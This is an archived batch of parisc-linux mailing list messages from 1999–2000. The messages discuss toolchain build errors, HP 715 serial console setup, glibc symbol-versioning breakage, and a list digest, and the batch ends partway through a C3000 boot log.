make[1]: *** [libzgcj.la] Error 1
make[1]: Leaving directory `/linux/pa32/xc-build/build-gcc/hppa-linux/zlib'
make: *** [install-target-zlib] Error 2

This is already in the install phase - so the build completed.
"ls -l" tells me hppa-linux-* stuff in /opt/puffin/bin was replaced.
The recipe.linux seems to have mostly completed.


> 1) Compiling gcc, we have an error which says that he can't find errno.h!
> 
> of course, it looks for it in $DEST/hppa-linux/include and the instructions
> say that include should be in $DEST --> does it look OK to you? because when
> you compile the kernel, it makes the same placement mistake. That's why we
> think that the include directory should be in $DEST/hppa-linux/. This would
> mean that help on your website is obsolete.

I can't reproduce this error since I don't actually follow the posted
instructions anymore...got tired of maintaining those. It was simpler
for me to just maintain the build-tools/recipe.linux script.

> 
> 2) Once gcc is installed, gcc program name is hppa1.1-linux-... and to
> compile the kernel, the system expects to have hppa-linux-...

hppa1.1-linux- prefix is obsolete.
Please post either the URL where you found that or (better) a patch for
the URL of what you think the help/instructions should say.

> We changed it to --target=hppa-linux and now it works ok, but is this
> logical?

Uh...that's what it's supposed to be.
(I'm not going to consider if it is or isn't logical.  :^)

> 3) Our NFSroot is read-only even if  we have configured the NFS server and
> said that it was read/write enabled.

Try:
  mount -o remount,rw /

and check the /etc/fstab entry for /. Should be something like:
    hpisp747:/tftpboot/hppa   /   nfs    defaults,errors=remount-ro   0  1


cheers,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA-RISC linux cd
Date: Tue, 03 Oct 2000 11:42:22 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <200010031842.LAA21139@milano.cup.hp.com>
References: <E13gTaF-00046K-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619157 4208 80.91.229.3 (22 Nov 2014 01:19:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Oct  3 12:37:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA27164
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 12:37:19 -0600
Original-Received: (qmail 3297 invoked by uid 15267); 3 Oct 2000 18:38:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3287 invoked from network); 3 Oct 2000 18:38:16 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 18:38:16 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id DF33B5C5
	for <parisc-linux@thepuffingroup.com>; Tue,  3 Oct 2000 11:38:14 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA21139
	for <parisc-linux@thepuffingroup.com>; Tue, 3 Oct 2000 11:42:23 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 03 Oct 2000 08:59:49 PDT."
             <E13gTaF-00046K-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8040

Paul Bame wrote:
> 
> Matthew - I can never remember which 715's are supported so I'm passing
> your note to the mailing list.
> 
> Matthew Halliday <matthewh@fesa.co.uk> wrote:
> = I've aquired a 715/33 - minus monitor or keyboard (but I do have a
> = mouse!) - do you know if there anywhere I can get details of these
> = machines or a keyboard and monitor?  I do have an A1097C 19" monitor
> = minus a cable - will that do?

I think the 1097 is a SOG monitor - should work.
You do need a keyboard to use it though.

>  We use a lot of HP kit here, but the HP
> = website doesn't seen to have anything on these machines.  I understand I
> = can get onto them with a serial cable - how do I set that up?

Connect a NULL modem from Serial port 1 to a terminal or linux box and
set it up for 9600N8. *NOT* connecting a keyboard defaults the console
to the serial port.

You should be able to find more help with 715/33 machines by scrounging
through the parisc-linux mail archives.

hope this helps,
grant

> = I'm
> = pretty sure it works ok (I found it in a rubbish skip!) cos when I start
> = it up I get no error beeps, and it all sounds normal.  Sorry to ramble
> = on - if you can't help then that's ok.
> 
> 	-P
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc 2.1.94 CVS merge, packages on the way, ABI breakage :(
Date: 03 Oct 2000 18:06:16 -0400
Organization: Linuxcare, Inc.
Lines: 31
Approved: news@gmane.org
Message-ID: <87aecl60mf.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619157 4214 80.91.229.3 (22 Nov 2014 01:19:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:17 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Oct  3 16:05:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA32263
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 16:05:32 -0600
Original-Received: (qmail 17993 invoked by uid 15267); 3 Oct 2000 22:06:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17977 invoked from network); 3 Oct 2000 22:06:24 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 22:06:24 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13gaCX-0004nB-00; Tue, 03 Oct 2000 18:06:17 -0400
Original-Lines: 30
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8041

Hi,

I've merged pehc CVS with glibc 2.1.94 release (no more tracking CVS
for me, too much pain).

The patch is clean enough that I'm able to just add it to the Debian
glibc 2.1.94 source package.  So I will build that overnight
(hopefully) and upload it sometime soon.

For the time being there is a tarball at
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/glibc-2.1.94-20001003.tar.gz

But!  Beware!  It *will* break your system.  Somehow, the versions of
a bunch of symbols in libm.so.6 reverted to GLIBC_2.0 from GLIBC_2.2
(don't ask me how this happened, math/Versions is still exactly the
same...  I think our 2.1.92 had a bug in the script that generates the
version maps) and as a result, anything that links with libm will not
work.  This includes fun things like perl, awk, some parts of
shellutils, etc. etc.

Sorry about this, but I guess we have no choice, our old libm.so was
broken.

I'm rebuilding perl, shellutils, and awk and expect to have new
packages on pehc real soon now.  (perl's version will be 5.005.03-7.2,
shellutils and awk will be similarly bumped)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.1.94 CVS merge, packages on the way, ABI breakage :(
Date: 03 Oct 2000 15:23:46 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <m3ya05d0nh.fsf@otr.mynet.cygnus.com>
References: <87aecl60mf.fsf@linuxcare.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619158 4217 80.91.229.3 (22 Nov 2014 01:19:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: drepper@redhat.com  Tue Oct  3 16:23:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA00441
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 16:23:36 -0600
Original-Received: (qmail 5548 invoked by uid 15267); 3 Oct 2000 22:24:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5528 invoked from network); 3 Oct 2000 22:24:31 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 22:24:31 -0000
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id PAA15999;
	Tue, 3 Oct 2000 15:24:21 -0700 (PDT)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 8D9F13103; Tue,  3 Oct 2000 15:23:46 -0700 (PDT)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: David Huggins-Daines's message of "03 Oct 2000 18:06:16 -0400"
Original-Lines: 12
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8042

David Huggins-Daines <dhd@linuxcare.com> writes:

> But!  Beware!  It *will* break your system.  Somehow, the versions of
> a bunch of symbols in libm.so.6 reverted to GLIBC_2.0 from GLIBC_2.2

You never should have GLIBC_2.0 symbols.  The shlib-versions file
should have GLIBC_2.2 as the earliest version (third column).

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.1.94 CVS merge, packages on the way, ABI breakage :(
Date: 03 Oct 2000 18:28:07 -0400
Organization: Linuxcare, Inc.
Lines: 14
Approved: news@gmane.org
Message-ID: <87u2at4l1k.fsf@linuxcare.com>
References: <87aecl60mf.fsf@linuxcare.com>
	<m3ya05d0nh.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619158 4220 80.91.229.3 (22 Nov 2014 01:19:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
To: drepper@cygnus.com (Ulrich Drepper)
Original-X-From: dhd@linuxcare.com  Tue Oct  3 16:27:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA00964
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 16:27:21 -0600
Original-Received: (qmail 9772 invoked by uid 15267); 3 Oct 2000 22:28:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9762 invoked from network); 3 Oct 2000 22:28:17 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 22:28:17 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13gaXg-0004ns-00; Tue, 03 Oct 2000 18:28:08 -0400
Original-Lines: 13
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8043

Ulrich Drepper <drepper@redhat.com> writes:

> You never should have GLIBC_2.0 symbols.  The shlib-versions file
> should have GLIBC_2.2 as the earliest version (third column).

Ah, I see what the problem is.  It seems that it is my fault :(

I take it that libc.so, libm.so, and ld.so should all be versioned
with GLIBC_2.2 as the base, then?

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.1.94 CVS merge, packages on the way, ABI breakage :(
Date: 03 Oct 2000 15:42:35 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <m3pulhczs4.fsf@otr.mynet.cygnus.com>
References: <87aecl60mf.fsf@linuxcare.com>
	<m3ya05d0nh.fsf@otr.mynet.cygnus.com> <87u2at4l1k.fsf@linuxcare.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619158 4221 80.91.229.3 (22 Nov 2014 01:19:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: drepper@redhat.com  Tue Oct  3 16:42:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA02005
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 16:42:18 -0600
Original-Received: (qmail 25493 invoked by uid 15267); 3 Oct 2000 22:43:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25485 invoked from network); 3 Oct 2000 22:43:15 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 3 Oct 2000 22:43:15 -0000
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id PAA17074;
	Tue, 3 Oct 2000 15:43:10 -0700 (PDT)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 542C73103; Tue,  3 Oct 2000 15:42:35 -0700 (PDT)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: David Huggins-Daines's message of "03 Oct 2000 18:28:07 -0400"
Original-Lines: 11
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8044

David Huggins-Daines <dhd@linuxcare.com> writes:

> I take it that libc.so, libm.so, and ld.so should all be versioned
> with GLIBC_2.2 as the base, then?

Every single DSO.  There is no compatibility to be preserved.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More mailing list goo
Date: Mon, 5 Apr 1999 09:47:04 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <19990405094704.A29056@cmu.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619159 4227 80.91.229.3 (22 Nov 2014 01:19:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pschwan@sod.res.cmu.edu  Mon Apr  5 09:47:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id JAA29085
	for <parisc-linux@sod.res.cmu.edu>; Mon, 5 Apr 1999 09:47:09 -0400
Original-Received: (qmail 28877 invoked by uid 15267); 5 Apr 1999 13:46:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28870 invoked from network); 5 Apr 1999 13:46:46 -0000
Original-Received: from sod.res.cmu.edu (pschwan@128.2.91.30)
  by mailserv2.iuinc.com with SMTP; 5 Apr 1999 13:46:46 -0000
Original-Received: (from pschwan@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id JAA29078;
	Mon, 5 Apr 1999 09:47:04 -0400
X-Mailer: Mutt 0.91i
Xref: news.gmane.org gmane.linux.ports.parisc:8045

By popular demand, parisc-linux now comes in two flavours: the same
great mailing list that you've come to love, and parisc-linux-digest,
which does as you might expect.

Since there's been little traffic as of late, the digest hasn't really
been tested.  I expect that the people who mailed me will give it a
try, and let me know if there are problems.

-Phil

------------------------------------------------------------------
"In film you will find four basic story lines. Man versus man, man
versus nature, nature versus nature, and dog versus vampire."
        - Steven Spielberg


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.1.94 CVS merge, packages on the way, ABI breakage :(
Date: 03 Oct 2000 21:23:43 -0400
Organization: Linuxcare, Inc.
Lines: 28
Approved: news@gmane.org
Message-ID: <87og114cww.fsf@linuxcare.com>
References: <87aecl60mf.fsf@linuxcare.com>
	<m3ya05d0nh.fsf@otr.mynet.cygnus.com> <87u2at4l1k.fsf@linuxcare.com>
	<m3pulhczs4.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619159 4229 80.91.229.3 (22 Nov 2014 01:19:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, debian-hppa@lists.debian.org,
        parisc@lists.linuxcare.com
To: drepper@cygnus.com (Ulrich Drepper)
Original-X-From: dhd@linuxcare.com  Tue Oct  3 19:23:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA03636
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 19:23:01 -0600
Original-Received: (qmail 16851 invoked by uid 15267); 4 Oct 2000 01:23:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16836 invoked from network); 4 Oct 2000 01:23:54 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 01:23:54 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13gdHb-0004oK-00; Tue, 03 Oct 2000 21:23:43 -0400
In-Reply-To: Ulrich Drepper's message of "03 Oct 2000 15:42:35 -0700"
Original-Lines: 27
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8046

Ulrich Drepper <drepper@redhat.com> writes:

> David Huggins-Daines <dhd@linuxcare.com> writes:
> 
> > I take it that libc.so, libm.so, and ld.so should all be versioned
> > with GLIBC_2.2 as the base, then?
> 
> Every single DSO.  There is no compatibility to be preserved.

Okay, yes, you're right.  Unfortunately we've built a bunch of
binaries against our broken libc, so it will all have to be rebuilt,
because all binaries expect to see GLIBC_2.0 and GLIBC_2.1 versions.

But I guess this is the right thing to do, since we really do not want
any of the compatibility cruft bloating our libc.

HP people note: Yes it looks like we have to rebuild everything.  I
think I can get things up again rather quickly, as I just need to
build a static toolchain and then relink all the packages that are
sitting around built on my A180.  We will have to clear out the
archive in pehc:/pub/debian-hppa though.

I am not very pleased with symbol versioning at the moment :(

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] c3k output
Date: Tue, 3 Oct 2000 18:32:52 -0700 (PDT)
Lines: 232
Approved: news@gmane.org
Message-ID: <200010040132.SAA02862@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619159 4230 80.91.229.3 (22 Nov 2014 01:19:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Oct  3 19:27:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA04163
	for <parisc-linux@puffin.external.hp.com>; Tue, 3 Oct 2000 19:27:49 -0600
Original-Received: (qmail 20600 invoked by uid 15267); 4 Oct 2000 01:28:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20589 invoked from network); 4 Oct 2000 01:28:45 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 4 Oct 2000 01:28:45 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 60A1EAA9
	for <parisc-linux@thepuffingroup.com>; Tue,  3 Oct 2000 18:28:44 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id SAA02862
	for parisc-linux@thepuffingroup.com; Tue, 3 Oct 2000 18:32:52 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8047

I just wanted to share the c3k console output that I get so far.
I'm still using NFS root w/Serial (add-on) console.
Tomorrow I will connect some SCSI disks and try to boot/copy
to/from them.

The output from this system is interesting in that it has an 896 SCSI
card installed and it seems to work...though I don't currently have any
disks connected.

I also wanted to note that "reboot" command doesn't work.
"gsc.c: cmd 1" is printed on the console but that's it.
Doesn't do anything else.

later,
grant



Firmware Version 4.0

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache 
  ---------  --------   ---------------------  -----------------  -------------
      0      400 MHz    Active                 Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:              536870912 bytes
  Good memory required:           10223616 bytes

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  LAN.15.8.80.76.3.254
  Console path:         GRAPHICS(2)
  Keyboard path:        USB

CPU 0
WARNING:  Processor self-tests have been disabled because FASTBOOT is
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.
WARNING:  Memory has been initialized but not tested because FASTBOOT is
          enabled.  To test memory, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command >       
Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n

Booting... 
Network Station Address 001083-360089

System IP Address 15.8.80.77
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Mon Oct  2 21:38:24 PDT 2000
0/vmlinux 2057017 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa '
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100120 first 00100000 n 3
Segment 0 load 00100000 size 1395192 mediaptr 0x1000
Segment 1 load 00256000 size 177736 mediaptr 0x156000
Segment 2 load 00284000 size 106496 mediaptr 0x182000
branching to kernel entry point 0x00100120
Set default PSW W bit to 0
PDC Console Initialized
The Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02cd000
PALO command line: 'HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa '
PALO initrd 0-0
model   00005bb0 00000481 00000000 00000002 77cd9463 100000f0 00000008 000000b2 000000b2
vers    00000200
cpuid   00000224
CPUID vers 17 rev 4
CPU might be a PA8500 (PCX-W)
CPU(s): 1 x PA8500 (PCX-W) at 400.000000 MHz
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. AllegroHigh W  (0) at 0xfffa0000, versions 0x5bb, 0x0, 0x4, 0x0, 0x81
7. AllegroHigh Memory (1) at 0xfed10200, versions 0x86, 0x0, 0x9, 0x0, 0x0
That's a total of 7 devices.
Linux version 2.4.0-test6 (grundler@hpisp747) (gcc version 2.96 20000925 (experimental)) #7 Tue Oct 3 17:50:26 PDT 2000
free_bootmem(0x2d1000, 0x1fd2f000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 131072
zone(0): 65536 pages.
zone(1): 65536 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=LINUX root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa 
trap_init
Calibrating delay loop... 799.54 BogoMIPS
Memory: 511652k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
POSIX conformance testing by UNIFIX
lba version TR2.1 (0x2) found at 0xfed30000
lba_fixup_bus(0xdffef760) bus 0 sysdata 0xdfffa220
lba version TR2.1 (0x2) found at 0xfed32000
lba_fixup_bus(0xdffef7e0) bus 1 sysdata 0xdfffa260
lba version TR2.1 (0x2) found at 0xfed38000
lba_fixup_bus(0xdffef860) bus 2 sysdata 0xdfffa2a0
lba version TR2.1 (0x2) found at 0xfed3c000
lba: iosapic_register says not used
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
SBA found Astro 2.1 at 0xfed00000
() ibase 0x1 imask 0xe0000000
() base_addr fed38000
() base_addr fed32000
() base_addr fed30000
() done
lba: lba_bios_init
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 32768)
Starting kswapd v1.7
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
sym53c8xx: at PCI bus 1, device 5, function 0
sym53c8xx: 53c875 detected 
sym53c8xx: at PCI bus 0, device 15, function 0
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 15, function 1
